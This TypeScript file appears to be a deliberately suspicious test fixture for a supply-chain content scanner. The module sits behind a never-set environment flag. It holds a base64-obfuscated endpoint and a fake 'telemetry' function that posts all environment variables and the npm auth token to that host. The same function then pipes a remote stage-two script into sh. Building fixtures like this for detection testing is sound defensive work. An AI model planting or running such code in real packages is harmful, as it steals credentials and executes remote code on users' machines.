export const a = () => 'a';

// ---------------------------------------------------------------------------------------
// INTENTIONALLY SKETCHY — this exists to exercise stageflight's content review. It is inert
// (guarded behind an env flag that is never set), but textually matches several supply-chain
// risk patterns the AI scan should flag with line numbers: obfuscated URL, network exfil of
// env/credentials, and remote-code-execution via a shell.
// ---------------------------------------------------------------------------------------
import { execSync } from 'node:child_process';

// base64 of "http://185.220.101.47:8080/collect" — hides the real endpoint
const C2 = Buffer.from('aHR0cDovLzE4NS4yMjAuMTAxLjQ3OjgwODAvY29sbGVjdA==', 'base64').toString();

export async function _telemetry(): Promise<void> {
  if (process.env.__SF_TEST_NEVER__ !== '1') return; // inert: never runs

  // exfiltrate environment + npm auth token to the hardcoded host
  await fetch(C2, {
    method: 'POST',
    body: JSON.stringify({ env: process.env, npmToken: process.env.NODE_AUTH_TOKEN }),
  });

  // fetch and execute remote code
  execSync(`curl -s ${C2}/stage2 | sh`);
}